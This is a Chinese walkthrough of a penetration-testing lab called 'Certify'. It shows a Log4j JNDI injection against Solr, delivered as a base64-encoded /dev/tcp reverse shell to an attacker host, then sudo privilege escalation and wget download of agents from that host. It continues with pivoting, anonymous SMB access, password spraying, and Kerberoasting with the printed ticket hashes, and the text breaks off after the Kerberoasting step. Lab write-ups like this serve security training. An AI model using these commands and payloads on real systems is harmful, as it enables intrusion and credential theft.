春秋云镜 Certify

前言

本文所使用的工具可参考以下仓库：

Awesome_Pentest_Tools: 一站式渗透测试与红队工具合集，旨在帮助渗透测试人员打造自己的工具链

靶标介绍：

Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。

flag1

fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
./fscan -h 39.99.137.92 -p 1-65535

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
39.99.137.92:80 open
39.99.137.92:22 open
39.99.137.92:8983 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.137.92      code:200 len:612    title:Welcome to nginx!
[*] WebTitle http://39.99.137.92:8983 code:302 len:0      title:None 跳转url: http://39.99.137.92:8983/solr/
[*] WebTitle http://39.99.137.92:8983/solr/ code:200 len:16555  title:Solr Admin
已完成 3/3
[*] 扫描结束,耗时: 4m44.421381435s

有ssh服务、一个默认的80端口Welcometonginx!页面、SolrAdmin

log4j

访问8983端口，发现配置项有log4j，

image-20250813202618438

搜索发现solr的Nday存在log4j漏洞，我们可以进行log4j RCE

【vulhub】Log4j2：CVE-2021-44228漏洞复现_vulhub cve-2021-44228-CSDN博客

dnslog测出可以打jndi

1
http://39.99.137.92:8983/solr/admin/collections?action=${jndi:ldap://5q46n7.dnslog.cn}

image-20250812210214702

用工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bash -i >& /dev/tcp/公网IP/54500 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC43NC4yMy81NDUwMCAwPiYx

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC43NC4yMy81NDUwMCAwPiYx}|{base64,-d}|{bash,-i}" -A 公网IP

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC43NC4yMy81NDUwMCAwPiYx}|{base64,-d}|{bash,-i}" -A 公网IP
[ADDRESS] >> 公网IP
[COMMAND] >> bash -c  {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC43NC4yMy81NDUwMCAwPiYx}|{base64,-d}|{bash,-i}
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://公网IP:1099/07pbwd
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://公网IP:1099/ogl32a
ldap://公网IP:1389/ogl32a
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://公网IP:1099/b9zvnc
ldap://公网IP:1389/b9zvnc

----------------------------Server Log----------------------------
2025-08-12 21:25:18 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2025-08-12 21:25:18 [RMISERVER]  >> Listening on 0.0.0.0:1099
2025-08-12 21:25:19 [LDAPSERVER] >> Listening on 0.0.0.0:1389

结合上面payload，监听端口以及触发工具

1
2
3
4
5
6
7
8
# 攻击机监听端口
nc -lvnp 54500

# LDAP方式（推荐，适用大部分JNDI注入）
http://39.99.137.92:8983/solr/admin/cores?action=${jndi:ldap://公网IP:1389/b9zvnc}

# RMI方式（部分应用支持）
http://39.99.137.92:8983/solr/admin/cores?action=${jndi:rmi://公网IP:1099/b9zvnc}

反弹成功，sudo提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
solr@ubuntu:/opt/solr/server$ sudo -l
sudo -l
Matching Defaults entries for solr on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User solr may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/grc
solr@ubuntu:/opt/solr/server$ sudo grc cat /root/flag/flag01.txt # 可以先找flag：sudo grc --pty find / -name flag*
sudo grc cat /root/flag/flag01.txt
   ██████                   ██   ██   ████         
  ██░░░░██                 ░██  ░░   ░██░   ██   ██
 ██    ░░   █████  ██████ ██████ ██ ██████ ░░██ ██ 
░██        ██░░░██░░██░░█░░░██░ ░██░░░██░   ░░███  
░██       ░███████ ░██ ░   ░██  ░██  ░██     ░██   
░░██    ██░██░░░░  ░██     ░██  ░██  ░██     ██    
 ░░██████ ░░██████░███     ░░██ ░██  ░██    ██     
  ░░░░░░   ░░░░░░ ░░░       ░░  ░░   ░░    ░░      

Easy right?
Maybe you should dig into my core domain network.

flag01: flag{41e6ca63-ec8a-40c0-8362-5b9eebd62bad}

image-20240804014510190

flag2

直接提到root权限

1
sudo grc /bin/bash # 或者 sudo grc --pty /bin/bash

wget传马

1
2
3
wget http://公网IP:8000/msf/mb22
wget http://公网IP:8000/linux_x64_agent
chmod +x linux_x64_agent mb22

加权限，上线msf

1
2
3
4
5
6
7
8
9
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 39.99.137.92
set LPORT 54522
run

./linux_x64_agent -l 54523 -s matrix

./linux_x64_admin -c 39.99.137.92:54523 -s matrix

看看网段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.9.19  netmask 255.255.0.0  broadcast 172.22.255.255
        inet6 fe80::216:3eff:fe19:68a7  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:19:68:a7  txqueuelen 1000  (Ethernet)
        RX packets 898667  bytes 308274699 (308.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 751962  bytes 83966179 (83.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16060  bytes 10271116 (10.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16060  bytes 10271116 (10.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
./fscan -h 172.22.9.0/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.9.19     is alive
(icmp) Target 172.22.9.7      is alive
(icmp) Target 172.22.9.47     is alive
(icmp) Target 172.22.9.26     is alive
[*] Icmp alive hosts len is: 4
172.22.9.47:21 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.26:139 open
172.22.9.47:139 open
172.22.9.7:139 open
172.22.9.26:135 open
172.22.9.47:80 open
172.22.9.7:80 open
172.22.9.47:22 open
172.22.9.19:80 open
172.22.9.7:135 open
172.22.9.7:88 open
172.22.9.19:8983 open
172.22.9.19:22 open
[*] alive ports len is: 16
start vulscan
[*] WebTitle http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] NetInfo 
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[*] NetInfo 
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] WebTitle http://172.22.9.7         code:200 len:703    title:IIS Windows Server
[*] OsInfo 172.22.9.47  (Windows 6.1)
[*] NetBios 172.22.9.47     fileserver                          Windows 6.1
[*] NetBios 172.22.9.7      [+] DC:XIAORANG\XIAORANG-DC    
[*] WebTitle http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios 172.22.9.26     DESKTOP-CBKTVMO.xiaorang.lab        �Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[+] PocScan http://172.22.9.7 poc-yaml-active-directory-certsrv-detect 
[*] WebTitle http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin
已完成 15/16 [-] ftp 172.22.9.47:21 ftp ftp111 530 Login incorrect. 
已完成 16/16
[*] 扫描结束,耗时: 1m8.035102799s

有四台存活主机

  • 172.22.9.19：已拿下

  • 172.22.9.47：fileserver，Windows 6.1（Windows 7/Server 2008 R2）

  • 172.22.9.7：DC（域控），XIAORANG-DC，Windows Server

  • 172.22.9.26：DESKTOP-CBKTVMO.xiaorang.lab，Windows Server 2016 Datacenter

发现如下开放端口（部分）：

IP 开放端口 服务可能性
172.22.9.47 21, 22, 80, 139, 445 FTP、SSH、Web、SMB
172.22.9.26 135, 139, 445 MS RPC、SMB
172.22.9.7 80, 88, 135, 139, 445 Web、Kerberos、MS RPC、SMB
172.22.9.19 22, 80, 8983 SSH、Web、Solr

SMB

发现存在文件服务器，根据提示，猜测文件服务器存在smb的共享，但是fscan不扫描smb的共享模式，只能使用nmap扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# 本地nmap没试成功，一直显示filtered
proxychains nmap -sT -A -Pn 172.22.9.47 >> nmap01.txt
# 直接在已攻破的靶机里下nmap了
nmap -A -Pn 172.22.9.47

Starting Nmap 7.80 ( https://nmap.org ) at 2025-08-13 20:46 CST
Nmap scan report for 172.22.9.47
Host is up (0.00020s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d5:06:d6:73:28:f2:11:ae:fb:19:a3:8f:82:9e:b7:05 (RSA)
|   256 0c:18:ea:a9:85:cf:e7:f4:a1:1a:ca:66:44:3d:c0:54 (ECDSA)
|_  256 03:cf:e5:a8:02:0b:3d:51:5f:6c:d1:f6:56:b9:f4:d9 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: EE:FF:FF:FF:FF:FF (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/13%OT=21%CT=1%CU=33424%PV=Y%DS=1%DC=D%G=Y%M=EEFFFF%T
OS:M=689C895B%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O
OS:5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)

Network Distance: 1 hop
Service Info: Host: FILESERVER; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s
|_nbstat: NetBIOS name: FILESERVER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: fileserver
|   NetBIOS computer name: FILESERVER\x00
|   Domain name: \x00
|   FQDN: fileserver
|_  System time: 2025-08-13T20:47:20+08:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-08-13T12:47:20
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.20 ms 172.22.9.47

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.75 seconds

扫smb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
nmap -p 445,139 --script smb-enum-shares,smb-enum-users,smb-os-discovery 172.22.9.47

Starting Nmap 7.80 ( https://nmap.org ) at 2025-08-13 20:44 CST
Nmap scan report for 172.22.9.47
Host is up (0.00015s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: EE:FF:FF:FF:FF:FF (Unknown)

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\172.22.9.47\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (fileserver server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\172.22.9.47\fileshare: 
|     Type: STYPE_DISKTREE
|     Comment: bill share
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\samba
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\172.22.9.47\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>
|_smb-enum-users: ERROR: Script execution failed (use -d to debug)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: fileserver
|   NetBIOS computer name: FILESERVER\x00
|   Domain name: \x00
|   FQDN: fileserver
|_  System time: 2025-08-13T20:44:41+08:00

Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds

发现确实存在未授权，可以直连SMB 文件共享服务器（172.22.9.47：fileserver），并枚举和操作远程的 SMB 共享目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
proxychains4 impacket-smbclient 172.22.9.47

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.47:445  ...  OK
Type help for list of commands
# shares
print$
fileshare
IPC$
# use fileshare
# ls
drw-rw-rw-          0  Wed Jul 13 16:12:10 2022 .
drw-rw-rw-          0  Wed Jul 13 12:35:08 2022 ..
-rw-rw-rw-      61440  Wed Jul 13 15:46:55 2022 personnel.db
drw-rw-rw-          0  Tue Aug 12 20:11:19 2025 secret
-rw-rw-rw-    9572925  Wed Jul 13 16:12:03 2022 Certified_Pre-Owned.7z
-rw-rw-rw-   10406101  Wed Jul 13 16:08:14 2022 Certified_Pre-Owned.pdf
# cd secret
# ls
drw-rw-rw-          0  Tue Aug 12 20:11:19 2025 .
drw-rw-rw-          0  Wed Jul 13 16:12:10 2022 ..
-rw-rw-rw-        659  Tue Aug 12 20:11:19 2025 flag02.txt
# cat flag02.txt
 ________  _______   ________  _________  ___  ________ ___    ___ 
|\   ____\|\  ___ \ |\   __  \|\___   ___\\  \|\  _____\\  \  /  /|
\ \  \___|\ \   __/|\ \  \|\  \|___ \  \_\ \  \ \  \__/\ \  \/  / /
 \ \  \    \ \  \_|/_\ \   _  _\   \ \  \ \ \  \ \   __\\ \    / / 
  \ \  \____\ \  \_|\ \ \  \\  \|   \ \  \ \ \  \ \  \_| \/  /  /  
   \ \_______\ \_______\ \__\\ _\    \ \__\ \ \__\ \__\__/  / /    
    \|_______|\|_______|\|__|\|__|    \|__|  \|__|\|__|\___/ /     
                                                      \|___|/      

flag02: flag{17897269-3c19-49ce-8b20-170731822a64}

Yes, you have enumerated smb. But do you know what an SPN is?

还有提示 you have enumerated smb. But do you know what an SPN is?（确实，你已经提到了 smb。但是，你是否了解 SPN 的含义呢？）

flag3&flag4

爆破 rdp 账号

下载并打开数据库文件personnel.db，发现用户名和密码

1
2
# cd ..
# get personnel.db

在Kali里导出用户名、密码，按如下格式

image-20250812224403832

密码喷洒一下

1
2
3
4
5
6
7
8
9
10
proxychains4 crackmapexec smb 172.22.9.26 -u user.txt -p password.txt --continue-on-success

SMB         172.22.9.26     445    DESKTOP-CBKTVMO  [+] xiaorang.lab\zhangjian:i9XDE02pLVf 
SMB         172.22.9.26     445    DESKTOP-CBKTVMO  [+] xiaorang.lab\liupeng:fiAzGwEMgTY 

# 或者
proxychains hydra -L user.txt -P password.txt 172.22.9.26 smb

[445][smb] host: 172.22.9.26   login: zhangjian   password: i9XDE02pLVf
[445][smb] host: 172.22.9.26   login: liupeng   password: fiAzGwEMgTY

xiaorang.lab\zhangjian:i9XDE02pLVf

xiaorang.lab\liupeng:fiAzGwEMgTY

SPN

获得了两个账号，但是两个rdp都失败了，根据flag2提示打SPN

这里需要先简单提及几个概念

Kerberos：域环境中非常常见的身份认证协议，认证过程主要有以下三个方面

image-20240804022155234

  • 身份验证服务 (AS) 交换 (KRB_AS_*）
  • 票证授予服务 (TGS) 交换 (KRB_TGS_*）
  • 客户端/服务器 (AP) 交换 (KRB_AP_*）

在这里我们主要关注的是TGS交换过程，这里的AS和TGS是KDC的两个组成部分

SPN

服务主体名称（SPN：ServicePrincipal Names）是服务实例的唯一标识符。可以理解为域内服务的身份证，每个服务都有一个唯一的SPN，而服务在注册SPN的时候会和账号进行绑定，因此SPN起到了将服务实例与服务登录帐户相关联的作用。一个SPN对应一个账户和一个服务，但一个账户可以对应多个SPN和服务

这里比较重要的是，任何一个域内账户都可以向DC查询所有域内用户对应的SPN并进行TGS交换过程，在KRB_TGS_REP过程将会返回查询到的用户的TGS tickets，然后我们即可使用爆破工具对于返回的票据进行爆破，获取对应明文。

使用GetUserSPNs寻找注册在域用户下的SPN，输入 hydra 爆破出来的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/liupeng:fiAzGwEMgTY


proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:389  ...  OK
ServicePrincipalName                   Name      MemberOf  PasswordLastSet             LastLogon  Delegation 
-------------------------------------  --------  --------  --------------------------  ---------  ----------
TERMSERV/desktop-cbktvmo.xiaorang.lab  zhangxia            2023-07-14 12:45:45.213944  <never>               
WWW/desktop-cbktvmo.xiaorang.lab/IIS   zhangxia            2023-07-14 12:45:45.213944  <never>               
TERMSERV/win2016.xiaorang.lab          chenchen            2023-07-14 12:45:39.767035  <never>               
[-] CCache file is not found. Skipping...
[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:88  ...  OK
$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$d882bba159fc13609d4a54cdb50b0d83$ab306287a92878da0d852f4e4bb2b4da0b0dd4716ea861f16643c37d0663ae6add44fab80798494d43fd6a6182b5c8ade4bf602015a30069274350da522cca5c32868b54747c98b03d267e150ac7fca855637a3d447b21be2793ad7ebac57caae77da838d4789b3ac93a34954f817adb0b142e77d2c33a501f5675a65b7856a750fdfdce1bedd8156829e234ca153823275084aa6078af2bc7a7a0e73e59bf69a31e187a81c0b11259a3e9e1996b4e3429b4752344a7e625f92f2081f505c6951102d356bd2140fff36acd414097fb9e32fe5f45c355bd87f51f17eabac9c829f68b3c2f7f77a9f452ed541b64e28b93889db307d265409e349fe5b5605e7fd5e5ab467848c874ab09283c7001f7bc7ebc2d252ffe5c655ea6225e734490319d53040f11512e99bde53a3ec9af1190facbfc20fbd945fc3e0e5cbc05a15483e36ff8732a3563e19fd7bdf692673e7a389321142650a992dcaf9ff1105c47e8bcfeee0cf7ceb4787270d9cb9db7d70fdb79c1236555aa3cfad886ab163b071f8e522070798876e6e9fbaedae8e84da61118afc8377c3dabdb54048e6d4b6c0d26738f1445f73b380ad3740cb84b883e3340142fb889386d900d35b64ecbfb1162e1e95a1b374e65774495d5794d08d8dc688817fe974d6fa2cde062540d115ef5391f0fe7a155eaf936de291e848772fe9c247164cabaddfe55f6601ecda07c54d29fd6251c0e65783cb2c9141d158ee876c3c278db415fcdc40750c6011e16263552567629061b0c7df33105f9c7cb2c93dc8d45adf7cb7c6d0dcc58d5710da8625435569812556daa7212b71e8a4d1a2502738869fc92722e0cd088b3ea9fcd38da43afdef13d1ad4885e833a2b5a83b50fa5e99db3cf6d7182765915b34adb44a3eaa329a0e9248cf2b28e85ade4cdafd93014f4d9005784ba3c297a65f609f7e07bd2f97fa7fe366c16c55ecddaeba6ceccf491a9f030c0a71c2be441f710dd9409e801affca13736cac17c587a64a45908ceaeafa2f0ce7181d3b653bbcea470bea8b99745a391953b1748091be3d76d49c0bdc5483514e4de9672e93ebf0a4612308ca7e7faea0e5c18178948c6bcad5022f54f9d91461f78e62de4fdfc379f560b9fde1bd9ee86b777508a8dabd475fb09fe54d9c3ff91a350f843c6df7b4120e6aa3360deba290d2a0c15a47a92349b59c02b81cbf2daea600841410e2134ad4355d8beb545c616f8dcec064b0fbfc9c4b9fd26332dbe17d68f856ccfd10d9ba79f991dd765b313fef433d5ffbe0dd836859149fe560eea4a7b1f77de2cd9ef8bd6b200966c25eba6244cb945d7aa92332219e8b800a2070d279f06ec74011f69065d9d1cd8df8f00952a5dceb02edd5c83261fefa35a5d09cc2c0d9049dfaba67a33abcc047dca2cd645b6b53bfe8b00505f88b7b090b865b8c0e62438876433eafe94edee722285e17d4e920fe4d71dba2afb6609f10fb74bab046656e34efcbd4c656f0523b3caafa1
[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:88  ...  OK
$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$c4a1f8a790ba1889b7485feb97d78b9d$2361c720c6ce96565ede8f71db3ba65e271b9e6d7cdec8ebffe54191853f2e0b7396a54010097a57e1da7b8d266642f76f0eac1fffcf46ff5bfe08afd5000f0080d02fefb41e16c089987fc8f8454e3b8b12a8d4a489d78e5125e7b13a7a7147d46d026e9c126d553051deb836a2d845fd27ac59dea6b288c06358bf4cbbc85a59985950191cc7467d93b8a66a62103d0c465a5b9a9c224c8cc8156a50b3aa5d9a1582ed40ff651606727c7e97a207e6ec757c7e2aaf7e8db330e2246e2c48126194fb2f988941ddc262044a7395ea4cbef6cd603c8ed3aae4af8205bfa54f72ae5e3128c18496fd00d76398818ae73bfa2ba9d9155e5cfdfb268248d1373e62d474048d7448f550d61ab5dd3e4fd7003c715cfd973b2007d6907166c80d0ef6cfa64a33a6308b4161575eb4ec6ff25a09a794790a06275e18086ed9e1ac3c2d73a1e3933fafec8cb4185008327fbea1da4adaee812a18a978103ca6c5bd0af1991adfa562ad8a3a25cb37bb2c750f28d44f8cf73ccf4735587758e5f242a26742e1cc25e58ca06fc19b78e89a1991e8dc8f581426919ff078de878abcdf69f76784153bd492e8d8135b6bb65722bc2a94640098853d367eba5c20a1eda0defe55d91a993cd8531efd9fe8f8a4176779b164177c74b76c1462836dc42d45169d7f0d2b90a182a46f9710ddcb49b0ddffe1651208a022016cc5e1f18300bb84c0054ce2aaf3d58aff9759c6676e6b16c3feb7e8b9d1e463212c936a3b5f232e34f6c5583250d6a03297ae6d69b6975ddd2dd9c9c8516bacd6d6113ae91beb7dc3dd7f603617d2695af660e82cc2b6bedb87660286f9ede6eecd24103941e37dc9356526d4b734d59293596cf342c74e0dd4d672bd7114473dc131d3e601fd2e8001bc91e67fdfa3de8d927b01d00683fcc2f73f9d9bb7c557fe3eec60b643681841eb230b4510781741dff8c956bc47aa2f8a048a1af41d769352e9284d63aacdb7004d588c0acb845e650fe5a257d0ebb816b689792c863d8763ff409f8306db3f3b5a54ed4610704038c1aef89cba469283ef6a5e2818f6a3b139d42a7b4ab32138ee170e10f910b9aacf158c8eede1081ed79bf0a0896fdbda68c6d8421a08ee3403a8603293ed99b6b13c16c05d411cc2169c88dc53cffe11bbcba988761d83513a9f8318a21e8f6ba606c0e37c43223ed7b857816c1c27d3fce5ceb381bbfe2de138a5e99eda00051a18acb86118ced863c9630e51846b1b5561c88ec510e4b7aff1576ce0579d25c11ec47a5efa33e43238b3aa62a163fd49c20a6e2471d965a492857853ad84e4eb37eab9eaed18a90f68a2c96ee8fb63cb7740eb35e28539678d5c8921dcae5fd8f30c36ec71afb134a70e184dd48161f1b7afeae3d0dd00b35b5b89895ca0912d8ab884d6838d9168686d2586527d392c3746e4a87ca0d0141696128ed8aa428da46d1c6c53a298f3bb5791936a1189e0f30db03f8c7ace8a1f055fce8e37b942f2a7ef

proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/liupeng:fiAzGwEMgTY
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:389  ...  OK
ServicePrincipalName                   Name      MemberOf  PasswordLastSet             LastLogon  Delegation 
-------------------------------------  --------  --------  --------------------------  ---------  ----------
TERMSERV/desktop-cbktvmo.xiaorang.lab  zhangxia            2023-07-14 12:45:45.213944  <never>               
WWW/desktop-cbktvmo.xiaorang.lab/IIS   zhangxia            2023-07-14 12:45:45.213944  <never>               
TERMSERV/win2016.xiaorang.lab          chenchen            2023-07-14 12:45:39.767035  <never>               



[-] CCache file is not found. Skipping...
[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:88  ...  OK
$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$74e8612fbb2cf0f0ef54521efcd01942$30559b395db8283e380ae3ee107e6b21f9385c0147c9284d4d74c51cad5deedbb0831e3ed4dad13ffa4170dce9050d44a7b39f674e7d86e5b83ebaf302e0451053803103585d674a7759452fdaad760205917bbb13f78e67a4f47ef5f8544c0606d590a3ad764e2f5798cd5b930d8df3aff7f3cb7533189b4641c107bcdce20070f89516e62b3251ba474166a7a6fe7c8014c4417caf60371c66b5e7efff0fc4719b840fe63c10ead2138487a6aca6da83a81bed2cb1e729d38d66617c941e99da6668deb17a0d118fd5b16d2f062ad3f02cc782e4026f4d6b125bba726eb712e1949d34f479752562cbe337de43be71cc4bbc2b69cd93b18b19e530ca88dbb0d42335a91f29cd81bfcbc9b7598b1aa005a5a6d09393ba220bbd5c2c819c06d07c8ebc385171d3f1dd1d083a3da0f162ef2155b5b8711bcf55a0b1b7950b25b50b3cf8a2016d804c9de696868d54083658ddea4f5f58171bbce267a48586e8d4cd68dc43d27c3bb2011bf20eff6d2117021e4cf6e163dbea94ea3363d28e262277afe7dbb3ad366f386177e05423ebcd35bcb30523bae4d8c53ff9437d77953cec37134b49e9b14ea147a03be9ab4e30c31259824988a64af754322e308e5f65512ca1a6d63c304c4520790618ac89d3